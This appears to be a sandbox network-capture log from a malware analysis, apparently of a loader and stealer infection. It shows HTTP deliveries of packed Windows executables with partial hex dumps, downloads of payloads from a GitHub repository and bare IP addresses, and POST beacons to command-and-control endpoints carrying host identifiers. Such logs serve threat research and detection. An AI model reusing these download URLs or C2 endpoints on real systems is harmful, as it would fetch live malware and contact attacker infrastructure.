00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 23:21:13 GMTContent-Type: application/octet-streamContent-Length: 2932224Last-Modified: Tue, 29 Oct 2024 23:04:46 GMTConnection: keep-aliveETag: "67216a0e-2cbe00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 d0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 30 00 00 04 00 00 3e 5e 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 6a 67 68 7a 6d 79 70 00 10 2a 00 00 b0 05 00 00 02 2a 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 70 6e 71 69 6c 65 79 00 10 00 00 00 c0 2f 00 00 06 00 00 00 96 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 2f 00 00 22 00 00 00 9c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 23:21:18 GMTContent-Type: application/octet-streamContent-Length: 2133504Last-Modified: Tue, 29 Oct 2024 23:04:59 GMTConnection: keep-aliveETag: "67216a1b-208e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 90 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 72 00 00 04 00 00 bd 49 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 68 76 61 6e 72 6b 62 00 e0 19 00 00 a0 58 00 00 dc 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 77 68 77 6c 6a 69 6e 00 10 00 00 00 80 72 00 00 06 00 00 00 66 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 72 00 00 22 00 00 00 6c 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 23:21:24 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Tue, 29 Oct 2024 22:11:30 GMTConnection: keep-aliveETag: "67215d92-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 89 5d 21 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 4c aa 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 23:21:29 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 23:21:31 GMTContent-Type: application/octet-streamContent-Length: 2790400Last-Modified: Tue, 29 Oct 2024 22:11:55 GMTConnection: keep-aliveETag: "67215dab-2a9400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 f7 3e 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 7a 71 73 63 68 64 70 00 40 2a 00 00 a0 00 00 00 34 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 74 62 66 6d 6d 76 67 00 20 00 00 00 e0 2a 00 00 04 00 00 00 6e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 72 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 23:21:45 GMTContent-Type: application/octet-streamContent-Length: 1887744Last-Modified: Tue, 29 Oct 2024 23:05:06 GMTConnection: keep-aliveETag: "67216a22-1cce00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 a0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4a 00 00 04 00 00 62 73 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 83 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 82 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 63 6e 77 76 66 6a 6e 00 c0 19 00 00 d0 30 00 00 b4 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 69 6c 73 6a 77 70 76 00 10 00 00 00 90 4a 00 00 04 00 00 00 a8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4a 00 00 22 00 00 00 ac 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /vonuch1/start/raw/refs/heads/main/khtoawdltrha.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /vonuch1/start/refs/heads/main/khtoawdltrha.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/Session.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 34 37 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002474001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 34 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002487001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 34 38 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002488001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIEBAFCBKFIDGCAKKKFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 31 34 43 32 39 35 43 36 31 36 32 32 33 35 37 33 34 35 32 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 2d 2d 0d 0a Data Ascii: ------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="hwid"8114C295C6162235734526------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="build"tale------HIIEBAFCBKFIDGCAKKKF--
